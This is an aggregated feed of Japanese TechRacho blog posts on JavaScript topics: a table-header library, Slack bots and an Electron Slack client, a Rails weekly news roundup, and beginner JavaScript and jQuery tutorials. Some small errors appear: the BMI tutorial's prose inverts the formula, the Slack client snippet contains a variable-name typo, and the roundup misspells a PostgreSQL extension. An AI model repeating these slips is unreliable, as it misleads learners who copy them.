Quantcast
Channel: JavaScriptの記事一覧|TechRacho by BPS株式会社
Viewing all 164 articles
Browse latest View live

HTMLでテーブルのヘッダーを固定させる”FixedMidashi”

$
0
0

ドーモ、shibusoです。原作読まずにアニメ見たら何を見ているのかよく分からないことになりました、忍殺。

前置き

たまにHTMLのテーブルでヘッダーを固定して欲しいという要望が出ます。ExcelとかGoogleスプレッドシートとかでテーブルのヘッダーを固定出来るのだから、きっとそんなのすぐに出来るだろうという考えなのでしょう。

しかしフロントエンドエンジニアからしたら「うわ、出た」という感じではないでしょうか。最近ではJSのライブラリがあったりして無理難題というレベルではなくなりましたが、それでも基本的にはあまりやりたくないところ。しかも行の固定はあっても列の固定は無かったりするものが多いです。

今回私が担当した案件では行と列の固定に加えて、範囲選択を出来るようにして欲しい、という注文がきました。行と列の固定はそれでも探せばいくつかライブラリが見つかりましたが、範囲選択というところがネックでした。加えて対応ブラウザはIE8以上。そんな中出会ったのがFixedMidashiです。日本人しか分からなそうなお名前です。

FixedMidashiのメリット

FixedMidashiが他のヘッダー固定ライブラリと一番違うと感じたのは、表示範囲に応じて見出しの出し分けをしている点です。見出しが見える範囲にある場合は通常のテーブルを表示し、範囲が見えない場所までスクロールすると予め作成された見出しだけを切り出したテーブルを表示するようにしています。

この実装のおかげでスクロールしていない状態では通常のテーブルと変わりなく範囲選択することが可能となりました(通常のテーブルを表示しているのだから当たり前といえば当たり前ですが)。使用できる状況は限定されているとはいえ、要望を満たすことが出来たため大変助かりました。

その他にも色々属性を指定するでカスタマイズすることが可能です。今回私は固定する列を2つに指定したり、borderを指定したりして利用しました。

なお今回はdivモードを利用した場合のお話です。bodyモードは試していないためbodyモードをご利用の場合は少し勝手が違う可能性があります。またバージョン1.8から混合モードが追加された模様ですが、こちらもまだ試していません(スマホに適しているみたいです)。

FixedMidashiの使い方

基本的な使い方はFixedMidashiのホームページでご確認ください。この手のJSライブラリをVectorからダウンロードするというのが個人的には斬新でした(Vectorには90年代、2000年代前半に大変お世話になった記憶が)。

使い勝手については下の方にデモを置いていますが、FixedMidashiのホームページにも各モードでのデモページが用意されているのでそちらでもご覧いただけます。

一箇所このライブラリ自体をカスタマイズした方が良いと個人的に感じたのは、使用する時に指定する「_fixedhead属性」です。これをこのまま使用するとHTML5のvalidatorに怒られます。代わりにdata-fixedheadで指定できるようにカスタマイズすると怒られないで済みます。

単純に”_fixedhead”を見ているところを”data-fixedhead”に置換するだけで動きました。修正版の配布は禁止されているのでここには置けません、あしからず。

FixedMidashiのデモ

GitHub Pagesに簡単な紹介用のテーブルを作ってみました。

まとめ

FixedMidashiはシンプルにテーブルの見出しを固定させたい場合、非常に楽に導入できます。ここでは紹介しませんでしたが、他にも色々な関数が用意されていて、それらを用いればより便利に使用することが可能となります。特にsyncValueとsyncStyleはフォームを含んでいたり、途中で表示に変更が生じる場合にはありがたい機能です。

もし行と列を共に固定する必要が出た場合に利用してみてはいかがでしょうか。


BPS社内Slackに棲まう和みのSlack botが実は優れものだった件

$
0
0

こんにちは、hachi8833です。Slack使ってて思わずうるっとなってしまったので書いてみました。

そこに棲まうもの

BPS社内に今やなくてはならないチャットツールであるSlackには、いつの頃からなのかybotなるものが棲みついています。それもいくつものチャンネルに。

160830_2121_oaapmZ

見たところ、ybotくんは気が向くとネットの記事をクロールしてSlackのチャンネルに流してくれているようですが、その実体は果たしてどこにいるのか。

わたくしも気になりつつ、ついつい横目でチラ見していました。

その名前からして、社内きってのインフラエンジニアであるyamasitaさんが仕込んだ社内専用エージェントに違いないのです。聞かなくったってわかります。

パペットマスター

かと思うと、yamasitaさんはときどきybotくんと会話しているようです。

160830_2130_C7ACOI

あれ、クローラーじゃないのかな? それとも一人二役

願い事を言うがよい

そして今日になって突然、ybotくんの正体を目の当たりにしたのでした。

yamasita「準備ができたので、Slackのチャンネルに『@ybot refresh』って入力してください」
hachi8833「え?何のことだかわからないんですけど」
yamasita「まま、いいから履歴で俺がやってたようにやってくれればいいですから。聞き返されたら「はい」とか「yes」とかそれっぽいことを適当に入力してくれればいいっす。」
hachi8833「どれどれ、では」

160830_2143_UpIYqg

おお、なんだかきゃわゆいz♡

コマンドを微妙にしくじると、こうでした。

160902_1823_K3JjRM

Slack botでのスクリプト実行はこんなに便利

とこういうふうに、BPS社内のSlackチャネルで本TechRachoの社内開発環境を最新バックアップから取り出してリフレッシュできるようになったのでした。ニュースのクローラだけじゃなかったのね。

ybotくんの正体は、Slackから起動できる簡単なシェルスクリプトだったのでした。

しかし、ybotくんのようなSlack botによるスクリプト運用は見る人をなごませるだけでなく、次のような本気で実務に役立つ数々のメリットをも兼ね備えているのです。

スクリプト実行許可が自動的にSlackチャンネルのユーザーに限定される

まさかり担いだ開発者の群れ集うマッドマックスな職場ならともかく、今や若い女の子やアルバイトの方もたくさん出入りするBPSのような職場(注: 個人の感想です)では、こうやってbotに話しかけるだけでお手軽にスクリプトを実行できるしくみは大変便利です。

さらに、スクリプト実行のアクセス権が自然にSlackチャンネルのユーザーに限定されるので、管理が大変楽です。同じことをWebページやドロップレットで実現しようとすると、アクセス権管理だけで憂鬱になれます。

シェルスクリプトだけでさっと書ける

従来なら、それ用のWebページやJSスニペットをえっちらおっちらこしらえたり、PowerShellやPythonあたりのドロップレットをデスクトップに置いてダブルクリックしてもらったりするところでしょう。

しかしやってみるとわかりますが、スクリプト開始のためにボタンと進捗表示だけのWebページを作るのは、アクセス権だのプログレス監視だの手数がかかる割に、何だかさみしいUIになりがちです。

ybotの場合はnode.jsで監視し、コマンドが入力されたら数行の簡単なシェルスクリプトを呼び出しているようです。しかも、このあたりはかなり自由に構成できそうな様子。

シェルスクリプトを普通どおりに書くだけで、こんな働き者のybotくんを作れるのはありがたいことです。愛い奴じゃ、褒美を取らせい。

Slackでのコマンド入力がそのまま履歴として共有される

バックアップからリフレッシュするのにいちいち「今からやりまーす」とか周知する必要もなく、結果に問題が生じたときもそのまま状況をSlackチャンネルのメンバーでシェアできます。管理の手間のかからない「放し飼い」でありながら、必要な点はしっかり押さえています。

もちろん、後戻りできないシビアな操作をあえて仕込むときは、安全確認とともに、チャンネルのメンバーを厳選しましょう。

Slackで実用的なbotを作ってみよう

以上、想像以上に優れもののybotくんなのでした。
Slack botによる楽々スクリプト運用は、実務にも激しくおすすめです。「botkit slack」でググればやり方はいくらでも見つかるのでそちらでどぞ。

そうとも知らず大変失礼いたしました。今度からちゃんとさん付けで呼びます、ybotさん。

どこかで見たような絵ですが気にしませんので。

160831_1059_yrlVr3

おまけ: 神降臨

別のチャンネルではygodなる別のbotとybotさんが、女の子からの指令を受けていそいそと連携動作するところも目撃しました。

Pasted_image_at_2016_08_31_12_29_PM

ybotさんが低血圧で寝起きが悪いときにygod様が起こしてあげてるんだそうです。

ygod様に代わって年下の女の子から何度でも命令されてみたい方はこちらへどうぞ

関連記事

週刊Railsウォッチ(20161209)Active Supportの非推奨メソッド廃止、RailsのjQueryへの依存を廃止ほか

$
0
0

こんにちは、hachi8833です。

今週より、従来の「Ruby/Rails界隈ウォッチ」をリニューアルいたします。

  • タイトルを「週刊RailsウォッチYYYYMMDD)」に変更し、原則週刊といたします。
  • 週刊とは別に、臨時の「Railsウォッチ」も公開することがあります。
  • 過去記事もタイトルのみ統一的に変更いたします。

今後ともよろしくお願いいたします。まずは金星記事から。

Hacker News

160928_1654_q6srdR

🌟CSSReference.io🌟

CSSReferenc.io
CSSReference.ioより

CSSのビジュアルリファレンスです。見せ方が画期的にうまいですね。たとえばflexboxを「こういうふうに並べたい」ときにこのサイトでさっとスクロールして探すことができます。animationも実際にアニメーションをオン/オフしたりできます。今週の金星を射止めました。おめでとうございます。

morimorihoge

CSSの仕様策定の段階からこういうビジュアルリファレンスを作って欲しいと切に思います。

Rails公式ニュース

公式ニュースの中の人も体調崩して先週お休みしていたそうです。お大事にどうぞ。

Rails 5.0.1rc1リリース

遅ればせながら。

元記事では「問題なければ12/6に最終版をリリースする」とありますが、本日(12/9)の時点では5-0-1ツリーにはまだstableの文字がありませんね。

RailsのjQuery依存を廃止

既に出回っている話ですが、影響は大きいので。

  • 見出しより

RailsのJavaScriptヘルパーが書き直され、新しくrails-ujs gemとなりました。rails-ujsではvanilla JavaScriptが使われるため、Railsは今後jQueryに依存しなくなります。

#27113では多くのサムアップで迎えられています。

#27113

rails-ujs gemはRails向けに開発されましたが、確認ダイアログ表示やAjaxなどを使うためにRails以外のRubyアプリでも利用できます。

野暮を承知で書くと、ニュースで言及されているVanilla JavaScriptとは「jQueryなどのJSライブラリを使わないでピュアなJavaScriptで同等の機能を書く」という意味です。

日本人の感覚からするとわかりにくいですが、アイスクリームの「バニラ味」は「他に何も加えられていない」「プレーンな」というニュアンスがあります。炊き込みご飯に対する白いご飯みたいな感じでしょうか。

morimorihoge解説
vanillaのもともとの語源はもちろんicecreemのvanillaですが、ソフトウェア的にはゲーム界隈でMODとかを入れていない素の状態のことを指しますね。マインクラフトなどでもvanillaとか言います。

なるほど、私がゲームに暗かったのでそのあたり初めて知りました。

また、UJSは「控えめな(unobtrusive)JavaScript」のことで、本来は具体的な実装やライブラリというよりは、アプローチ、パラダイムといった側面が強いようですが、jquery-ujs.jsや今回のrails-ujs.jsなどのようにUJSをサポートする実装もあります。

jQuery廃止で何が変わるか

SprocketsやAsset Pipelineなど、RailsにおけるJavaScriptの扱いについてさまざまな不満があがってきていますが、便利だが鈍重なjQueryへの依存廃止は、そうしたJavaScript関連の改良のひとつと言えそうです。

今回の変更の導入時期は明言されていませんが、masterにマージされているのでおそらくRails 5.1からの導入となりそうです。

  • jquery-rails gemは新しいRailsアプリケーションには標準では含まれなくなります。
  • 代わりに、rails-ujsが標準で含まれるようになり、Action View経由で提供されます。
  • 今後はRailsのフロントエンド/AjaxをピュアなJavaScriptで書くのが標準になります。
  • jquery-rails gemを別途導入すれば、従来どおりjQueryを利用できます。なお、jquery-railsにはjQuery UJS adapterも含まれています。

Rails開発者は、今後ピュアなJavaScript、そして今後に備えてECMAScript 6を意識したコーディングに徐々に移行するのがよいと思われます。

morimorihoge解説
基本的にjquery-rails的なgemを入れれば動作面は原則問題ないと思いますが、Rails 5.1.0のリリース前後で一気に既存のGemのgemspecにjQuery系gemのrequire dependencyが追記されて一斉にgemのバージョンが上がると、そこでconflictが発生するかもしれないですね。

Qiitaの「Rails5.1に向けてフロントエンド周りで起こっている革命まとめ」も参考になります。

Turbolinksなどの影響も小さくて済むとよいのですが。

ひとこと

tsunekawa

#27035 Rails 5.1に備えてActive Supportから非推奨メソッドが削除される

いよいよalias_method_chainとおさらばします。今後はRuby 2.0以降のModule#prependをお使いください。

以下の非推奨要素がActive Supportから削除されます。

  • key_file_path
  • escape_key
  • set_cache_value
  • namespaced_key
  • kernel debuggerファイル
  • local_constants
  • (モジュール)method_transplantingファイル
  • (struct) core_extファイル
  • time marshal core_extファイル
  • new_from_hash_copying_default
  • :prefix オプション
  • Module.qualified_const_get/set/defined?
  • constant MissingSourceFIle
  • alias_method_chain
  • Numeric#to_formatted_s
  • parameterizeのseparator引数
  • (クラス)ActiveSupport::Concurrency::Latch

なお、5.0.0.1だと非推奨警告が表示されないものがあるので、警告をすべて表示するには5-0-stableを使って欲しいとのことです。

morimorihoge解説
あまり開発者が直接使うメソッドではなさそうですが、ライブラリが依存している可能性はあるので、やはり5.1.0へのアップグレードはかなり慎重になった方がよさそうですね。Asset Pipelineが導入されたかつてのRails 3.0->3.1に匹敵する規模になるかもしれません。

#26976 form_withを追加

従来のform_tagform_forと似たような感じで使えるform_withが追加されました。

#27108 Active Recordの接続終了時の動作を改良

過去のRailsウォッチでもたびたびコネクションプール周りに手が加えられていますね(2016/11/17](/hachi8833/2016_11_17/28909)の#26978など)。

#25395 PostgreSQLの暗号生成をuuid-osspからpcryptoに移行

PostgreSQL 9.4以降はpcryptoのgen_random_uuid()が推奨だそうです。

#26836 Railsにyarnサポート追加

rails new プロジェクト名--yarnオプションを与えることで、node.jsの新しいパッケージマネージャyarnが使えるようになります。

最初yarm gemと空目してしまいました。

#27133 reload_association周りの変更を元に戻す

5.1で予定されていた移行のひとつが元に戻されました。たとえばArticle.category(true)に代えてarticle#reload.categoryを推奨する予定だったそうですが、副作用が思ったより多く回避も難しいので取り消されました。

#27193 update_allとdelete_allのバグ修正

left_joinとチェインしたときのupdate_alldelete_allの動作が、left_outer_joins_values.any?を条件に加えるよう修正されました。

この記事をBPS社内でつっついているときに「えぇー?!left_joinupdate_allとかdelete_allするかー?(笑)」とどよめきがあがりました。

Ruby Weekly

ヨーロッパのRuby事情

米国の開発者がイタリアのフローレンスで開催されたRubyDayを簡単に紹介しています。フローレンスは風光明媚で素晴らしい場所だそうです。コミッターは2人ぐらいしか来てなくて規模はそれほどでもなかったようですが、今後盛り上がるとよいですね。ヨーロッパで最後にRailsConfが開催されたのは2008年なんだそうです。

ヨーロッパではHanamiというRubyベースのWebフレームワークが妙に盛り上がってるらしく「米国じゃ聞いたことないなあ」という感想を漏らしています。米国ではRailsはすっかり定番として認知されていますが、ヨーロッパではまだそれほどでもないようです。Railsは米国勢が多いせいなのか、ヨーロッパはRails以外の選択肢についても積極的なところがあるようです。

ヨーロッパのRails関係者はどことなくロシアやポーランドなど東寄りが多いような印象がありますが、西ヨーロッパはまた雰囲気が違うのかもしれません。

余談

フローレンスってイタリアのどこかと思ったら人体で言う足三里のツボのあたり、内陸なんですね。

私はヨーロッパどころかユーラシア大陸に一度も足を踏み入れたことがないのですが、知人の話ではイタリアを含むヨーロッパの多くの国は日曜になるとレストランも食料品店も全部閉まってしまうので平日のうちに食料を手元に用意しておかないとマジでアウトだそうです。ヨーロッパってコンビニも自動販売機もほとんどないようなので。

Railsの新機能の開発の様子を中継

Sprocketsの後任メンテナがsprockets-railsに新機能を追加する様子を詳しく解説してくれます。

Ruby Facets

スレッドローカルな変数

Rubyのスレッドローカルな変数について詳しく解説しています。図や動画もあってよさげですね。

from rubytapas.com
rubytapas.comより

最近のruby-core (2016年11月)

今回も濃厚な解説がぎっしりです。ありがとうございます。[#5446] at_fork callback APIの解説を見て、スレッドは難しいと改めて思い知りました。

Hacker News

160928_1654_q6srdR

OpenAI

GitHub Trendingでも☆2,700超えと快進撃ですね。人工知能/機械学習系は、マネタイズの匂いがした途端に皆ソースや情報を出したがらなくなっているような印象があります。かつて暗号理論などが軍事情報がらみで長年非公開だったのを連想してしまいました。

Qiitaでも機械学習の記事は「やってみた」系がほとんどになってしまっているので、先端事情を知るには真面目に英語論文を読むのが早いのかも。

ダンボールで加算器つくったった

Rubyで書かれたファミコンエミュレータOptcarrot

似たもの二連続です。LEGOで作ったりするのは割と見かけますが、ダンボールというのが強烈です。

morimorihoge comment

行列の乗算

行列の乗算の理解であれば、上よりも私はこちらのYouTube動画(途中から再生)をおすすめします。この画期的な筆算は学校で習った覚えも日本の教科書で見た覚えもないのですが、即取り入れて欲しいものです。

使えるMacセキュリティガイド

Macbookの裏蓋を開けてプローブを突っ込むところから始まり、Mac OS自体をVMWare Fusionで仮想化するなど、かなりエクストリームなセキュリティガイドですね。

ここまでするのは国家保安がらみか、さもなければ被害妄想に近い気もしますが、趣味ですよねきっと。

暗号を学べるcrypto101.io

私事で恐縮ですが、随分昔にブルース・シュナイアーの暗号技術大全日本語版の、確か第9章あたりで下訳をお手伝いしたのを思い出しました。

Github Trending

160928_1701_Q9dJIU

Metasploit

いわゆるペネトレーションテストを行うフレームワークです。ひととおりの攻撃を自動実行してWebサーバーをテストできます。この種のツールはみなそうですが、悪用厳禁ですね。

無印枠

Xcodeproj

XCodeプロジェクトを作成するRuby gemです。☆700個越えなので需要がある感じですね。

熱力学で新たな発見

エンジニアリングとは別の話題かつ先週ですが、一見枯れた学問のように思われていた熱力学で大きな発見があったとのことです。共同研究者のひとりである田崎晴明先生(@Hal_Tasaki)のファンなもので。

今週は以上です。

関連記事

Slackでjoinしている全てのチャンネルの発言を1つのウィンドウにまとめてみる

$
0
0

皆様

本日は私の誕生日パーティにようこそお越しくださいました。え?会場ここじゃない?

BPSのSlack事情

はじめまして、今年10月中途入社組のtazuです。初めての転職ということもあり、今までとは違った環境に身をおいて新鮮な気分で仕事をさせてもらっています。

社内の雰囲気を一番感じやすいのはやはりチャットツール・コミュニケーションツールでの交流ですね。
前職ではコミュニケーションツールとしてHipChatを利用していたのですが、BPSではSlackを利用しています。

チャットツールの使い方や雰囲気、どこまで攻めていいかは会社によって違うので、新人としてはいち早くチャット事情を掴むことが重要です。
というわけで早速参加できそうなパブリックチャンネルを探してみました。

はい。多いですね?

ちなみに弊社の社員数は40名前後のようです。なのに何故こんなにチャンネルが多いかというと、プロジェクト毎に分けているのはもちろん、知識の情報共有をするチャンネルも細かくジャンル分けをし、興味ある分野だけ監視できるようにしているからのようです。

しかし今までチャンネル数5程度の世界で活動してきた僕がいきなりこんな数のチャンネルを追えるはずもなく、慣れないショートカットを使ってチャンネルを切り替え発言を追っているだけで思考回路はショート寸前です。Slackの公式クライアントにはすべての未読を表示する機能があるのですが、あまり使い勝手がよくありません。

というわけで自分で作ってみることにしました。

本日作るもの

一つの窓にすべてのジョインしているチャンネルの発言が流れるようなものを作ります。

Slack APIを確認する

まずはSlackの公式APIページを確認してみます。どうやら通常のWeb APIの他に、Real Time Messaging APIというのも用意されており、さらにはNode.jsのSDKもあります。

HipChatのクライアントを作ろうとしたときはWebSocketでつなげられるAPIやSDKがなく、node-xmpp-clientを使ってHipChatの独自拡張XMPPと会話した記憶がありますが、その点Slackは良いですね。

今回はこのSDKを使うことにしました。

フレームワークの選定

今回はNode.jsのSDKを使うということで、GUIはElectronにしました。js部分はどうしようかと思ったのですが、

小さい規模のプログラムだし何か新しいフレームワークを使いたいな

AngularJSは触ったことあるし後継のAngular2触ってみるか!

ふむふむ、Angular2からはTypeScriptで書くのが推奨されているのね

gulp?? grunt?? なんかコンパイルとかのタスク自動化するやつだよね・・・

なんかよくわからないが変換できてる・・・?

Done is better than perfect.

ということでTypeScript + jQueryになったところで力尽きたので今回はこれでいきます。

Slackにつないでみる

Electronの導入は今回のメインではないので省略いたします。早速Slackにつないでみましょう。
GitHub上の example にならって書いてみます。

// 自分のAPI Tokenを入れてください
let token: string = 'please-set-your-api-token' || '';
let slack_sdk_path: string = '@slack/client';
let RtmClient = require(slack_sdk_path).RtmClient;
let RTM_EVENTS = require(slack_sdk_pth).RTM_EVENTS;
let CLIENT_EVENTS = require(slack_sdk_path).CLIENT_EVENTS;
let rtm = new RtmClient(token, {logLevel: 'debug'});
rtm.start();

rtm.on(CLIENT_EVENTS.RTM.AUTHENTICATED, function (rtmStartData) {
  console.log(
    `Logged in as ${rtmStartData.self.name} of team ${rtmStartData.team.name}, but not yet connected to a channel`
  );
});

// ここでメッセージを取得
rtm.on(RTM_EVENTS.MESSAGE, function (message) {
  console.log(message);
});

テスト用のAPIトークンはここから取れます。

これで無事につながったので、ためしにいろんなチャンネル発言してみると・・・なんと!すでにjoinしているすべてのチャンネルの発言が見えるようになったじゃありませんか。このままDebug Consoleに流れる会話を見て余生を過ごすのも悪くないですね。

機能追加

流石にこれだけでは短いので、いくつか機能を追加してみます。

MarkDownに沿って変換する

SlackといえばMarkDownですよね。早速変換、表示してみましょう。

Node.jsで使えるMarkDownコンバータはいろいろあるようです。今回はmarkedを使ってみました。

let marked = require("marked");

message = marked(message);

・・・動きました。簡単ですね!

注意点: Slackと完全に互換性のあるマークダウンではないので、一部公式クライアントと表示がことなります。

slack-stream

Rubyのコメント’#‘を使って補足的に文章を足しただけなのに超アピールしているように見えてしまいます。平凡な日常に変化をもたらしてくれるのでこれはこれで楽しいと思いますのでこのままいきます。

絵文字を変換する

Slackといえば絵文字ですよね。一番好きな絵文字は:scream:です。一番好きな顔文字は(•̀ᴗ•́)و ̑̑です。

Slackのデフォルトで入っている絵文字を表示してみましょう。Slack APIの中に絵文字を取得するAPIがありますが、これは各チームが追加した絵文字の取得になります。必要であれば取得しましょう。

これまたいろいろと変換方法はあるみたいです。絵文字なので見た目が一番好みなものを選ぶといいかもしれませんね。
今回はemojioneを使ってみます。

let emojione = require("emojione");

function convert_emoji(m: string): string {
  let message = m;
  let emojis = m.match(/:[^:]+:/g);
  if(!!emojis) {
    for (let i = 0; i < emojis.length; i++) {
      if (emojis[i] != emojione.shortnameToImage(emojis[i])) {
        message = message.replace(emojis[i], emojione.shortnameToImage(emojis[i]));
      } else if(!!emoji_list[emojis[i].substr(1, emojis[i].length-2)]) {
        let image_url = emoji_list[emojis[i].substr(1, emojis[i].length-2)];
        let html = '<img class="emojione" src="' + image_url + '" />';
        message = message.replace(emojis[i], html);
      }
    }
  }
  message = convert_emoji_protocol(message);
  return message;
}

function convert_emoji_protocol(m: string): string {
  let message = m;
  let cdn = "//cdn.jsdelivr.net/emojione/assets/png/";
  message = message.replace(new RegExp(cdn, "g"), "https:" + cdn);
  return message;
}

なかなかDIY味あふれるコードです。

今回はいろいろありますね。やっていることは単純に :hogehoge: 形式の部分をhtmlのimgタグへと変換しているだけです。

ただemojioneの変換を利用するとimgのsrcが //cdn.hogehoge という形になってしまいます。Electronではこのような書き方だとhttpsプロトコルとみなされず正しく表示することができません。なのでここでは無理やりemojioneを使ったときだけhttpsを追加しています。replaceするときにhttpsをつければよさそうですがGitHubに今あがっているこの状態を掲載しています。

完成

などなど、いろいろな機能を追加していって今こんな感じです。

秘伝のソースも用意しておきましたので、興味がある方はご覧ください。オートスクロールぐらいは追加したいと思っています。

まとめ

チャットツールといえばbot作りが有名ですが、Slackだとクライアントアプリも簡単に作ることができます。
ちょっとこういうのが欲しいなって思ったときは自分で作ってみると楽しいのではないでしょうか。

関連記事

あどべんと。未経験大学生によるJavaScript入門日誌-第1話

$
0
0

拝啓

実はJavaScriptに関しては完全未経験ってほどではないのですが大学のアレがアレでアレしているのでちょっとアレをすることにしました。

やっとTechrachoの趣旨に(若干)沿った記事が書けそうな気がしています。

BPS社内でハローワールドしかやらないマンとしてのイメージが定着してきつつあるのが若干癪です。

JavaScript入門

JavaScriptとJavaを同じものだと思っていた時期はありませんか?
僕にはありました。JavaScriptの話をしているのに「あーJavaね!あれでしょあれ、30億のデバイスで走るやつ!」とかドヤ顔で知ったかぶりしてしまったときの恥ずかしさといったら、もう一生忘れられないレベルですよね。
幸いにも僕はやらかしたことありません(たぶん)が、今日もこのネーミングのせいで地球のどこかで顔を真っ赤にしている誰かがいると思うと僕まで赤面してしまいます。

インストール

インストールもなにもブラウザとエディタがあれば十分でしたね。エディタはなんでもいいですが、ブラウザは今回Chromeを使います。

入門

とりあえず

$ touch test.html test.js

とかやってあげると、準備は万端ですね。そしたら

test.html

<!DOCTYPE html>
<html>

  <head>
    <meta charset="utf-8">
    <title>test</title>
    <script src="test.js"></script>
  </head>

  <body>
    <h1>hoge</h1>
  </body>

</html>

test.js

alert("Hello!");

なんてやってあげれば毎度おなじみのハローワールド完成です。

次にいきます。
HTML側でボタンを追加してみます。

<input type="button" value="button" onclick="hello();">

次はJS側をいじります。

function hello() {
    alert("Hello, World");
}

ボタンを押してみるとhello()が呼び出されてハロワできます。

続いて、テキストボックスを組み込んでみます。

HTML側は

<input type="text" id="box">

JS側は

function hello() {
    var value = document.getElementById('box').value;
    alert(value);
}

テキストボックスにHello, World!とか入力してボタンを押せばアラートされますね。

ちょっと応用してみる

JavaScriptを始めたら、まずはBMIを計算するのが世間の常識ということで、身長と体重を入れるとBMIを表示してくれるものを作ります。

BMIは身長(m)と体重(kg)を使って、身長 / 体重^2で計算できるそうですが、メートルではなくてセンチメートルを使えるようにします。

test.html

先程と同じようにテキストボックスとボタンを追加していきます。色々と雑なのは大目に見てください。

<!DOCTYPE html>
<html>

  <head>
    <meta charset="utf-8">
    <title>test</title>
    <script src="test.js"></script>
  </head>

  <body>
    <h1>BMI</h1>
    <p>身長<input type="text" id="height">cm</p>
    <p>体重<input type="text" id="weight">kg</p>
    <p><input type="button" value="click!" onclick="bodymass();"></p>
    <p>BMI =<div id="bmi">?</div></p>
    <p>あなたは<div id="eval">?</div></p>
  </body>

</html>

test.js

こちらはちょっとだけややこしく見えますが、もっとキレイに作れるんですかね。いずれにしろエンジョイ勢なので細かいところは気にせず、とりあえず動けばいいや精神でやっていきます。

センチメートルをメートルに直して、そっから小数点以下第2位で切り捨てアレしてアレしてます。アラートだと鬱陶しいのでdocumentうんたらかんたら.innerHTMLに代入する感じにしてます。

function bodymass() {
    var height = document.getElementById('height').value;
    var weight = document.getElementById('weight').value;
    var eval, bmi;
    height = parseFloat(height)  / 100;
    weight = parseFloat(weight);
    bmi = weight / Math.pow(height, 2);
    bmi = Math.floor(bmi * 100) / 100;
    if(bmi < 18.5) {
      eval = 'もやし体型';
    } else if(bmi < 25) {
      eval = 'ヘチマ体型';
    } else {
      eval = 'アボカド体型';
    }
    document.getElementById('bmi').innerHTML = bmi;
    document.getElementById('eval').innerHTML = eval;
}

ちゃんと正の数で身長と体重を入力してボタンを押せばBMIとアレが表示されます。

ちなみに僕はもやし体型でした。はやくヘチマになりたいです。

以上

皆さんもヘチマ目指して頑張りましょう。

【ただの】東京Node学園 12時限目に参加しました【感想】

$
0
0

node.jsを業務で少し使い出したので、最先端の情報を知るために東京Node学園 12時限目に参加してみました。
勉強会のすばらしい発表の数々については、たぶんいろいろな人がレポ書いているはずですので、ぜひそちらをご覧ください。あとで探してリンク張っておきます。

2014/4/28追記

あんまりレポ見つからなかったんで、発表者様らのスライド貼ってお茶を濁しますね。

ちょっと探したけど見つからず。非公開のモジュールの話だったから?

ということで、以下はタイトル通りただの感想を書きたいと思います。

参加しての感想

ベンチマークツールの超先進的かっこいいUIとか、kinesisの発表しておいて「まあ結局使わないことになりました」とか、他にもいろいろ触れるべき点はあると思うのですが、とにかくびっくりしたのは高校生がいたことでした。関数型言語が好きとのことでした。特に今はゴーランとerlangが好きらしいです。erlangはぎりぎり名前知ってましたが、ゴーランってもはやまったく知りませんでした。一応プログラムを書いたりしてご飯を食っているのに、高校生に知識で負けて恥ずかしくないんでしょうか。はい恥ずかしいです。あとで読みます。

そして今はPRMLというのにはまっているらしいです。知らなかったです。以下の本を薦められました。いやあ勉強会は勉強になりますね!(真顔)

勉強会ってのに初めて参加したくらいの勢いなので、一般の勉強会の参加者の年齢分布などは知らないんですが、高校生とかいたりするもんなんでしょうか。昔から一定数パソコン少年と言われる人っていたはずですが、その人口がやっぱスマホとかの普及で増えているんでしょうかね。
しかし、この歳から開発やってるっていうのはすごいですね。自分が高校生の頃のことを思い出してみても、開発したと言えるものってサガフロでかっこいい名前の連携を開発したくらいですね。これ。
IMG_2811

鬼無月跳弾ノヴァが語感の勢いがあって好きですね。あと、ここに書いてないですが、強めの剣技だけで5連携するやつが一番開発に苦労しましたね。濁流無月神速ライジングインペールだったかな。鬼三段突きもシンプルでかっこいいし。とサガフロの話なんてどうでもいいんですね。重要なことじゃない。黒歴史を小出しにしてる場合じゃない。Node学園の話でした。

懇親会では話す人いなくて真顔で鮨食べて、「そういえばDeNAに友達いるじゃん!まだ会社いるかもしれないから電話しよ!」と電話したらなんか間違ってGreeの友人に電話したりしてましたが、そんな哀れな僕と話してくれた皆様方ありがとうございました。楽しい時間をすごせ新たな知識を得るきっかけなどいただけました。また、運営の皆様方、会場を提供してくれあまつさえタダ飯までふるまってくれたDeNA様に惜しみない感謝を。撤収の際の「次回もDeNAで開催して欲しいかー?」「おー!」のやりとのみんなの声にリアルに力入ってたと思います笑

JavaScript、jQuery入門ーフォーム作成で実際に使った例を振り返りながら

$
0
0

Webチームのebiです。

これまで、初心者がWeb開発のスタートラインにすら立たせてもらえない怒りと悲しさをぶちまける記事しか書いてこなかったので、そろそろ開発に近い記事を書きたいと思った今日この頃です。

そんな訳で今回はJavaScript(jQuery)で記事を書きます。僕自身、業務でJavaScriptだけを酷使してきたわけではないので、初心者向けな入門編記事です

JavaScriptってかじる人が多いせいか、とんでもないコードがネット上には放置されているので、意味を理解せずにコピペしてると痛い目を見ます(と言うか痛い目を見ました)。

今回の記事で紹介するものは、実際に自分がフォーム作成とかで過去に書いたコードを元ネタにしているので、ある程度は実用的だと思います。あとJavaScriptとは銘打ってますが、jQueryの文法で書いていきます

ちゃんとしたJavaScript(jQuery)の書き方に慣れてくると、大体のことならちょっと追加で必要なことを調べれば何とかなりそうな自信が付きます。今回の記事では、なるべく色々な書き方を紹介することも意識します

大事なのは動作のスイッチになる対象、変更を加えたい対象、をどう指定するのか。どんな風に書けば期待通りの変化を与えられるのかを理解することだと思います。

過剰なコメント付けといたので、よかったら参考にしてみてください。

JavaScriptを使って、HTML、CSSを動的に変えてみる

下のデモのselectを変えると、そのすぐ下にある別の部品の見た目が動的に変わります。

選んだ選択肢に応じて、他の選択肢の内容や見せ方を変えるのに応用できます。

その1

HTMLのコード

<div>
  <select name="sample-select">
    <option>その1</option>
    <option>その2</option>
    <option>その3</option>
  </select>
  <div id="box" style="width:200px; height:200px; background-color: blue; color:white; display: flex; align-items: center; justify-content: center;">その1</div>
</div>

JavaScriptのコード

$('select[name=sample-select]').change(function() { // 対象のselectの値が変わったら実行
    // div #boxの色を変えてみる
    if($(this).prop('selectedIndex') === 0) {       // selectedIndexは何番目のoption要素なのかを表す値
        $('#box').css('background-color','blue');   // cssを制御する
    }else if($('option:selected', this).text() === 'その2') {  // 今度はoptionの項目名で分岐させてみる
        $('#box').css('background-color','red');
    }else{
        $('#box').css('background-color','green');
    }
    // .text()に値を入れると、対象の文字情報を変更できる
    $('#box').text($(this).val());  // $('option:selected', this).text()は$(this).val()でも書けちゃう
});

prop()とattr()は似ているけど違う使い方をすること、古い書き方がネットに残っていることがあるので注意します(もちろん騙された)。

$(‘option:selected’, this) は今の要素(this)の子要素であるoptionで、さらにselectedな状態のものを指定する書き方です。

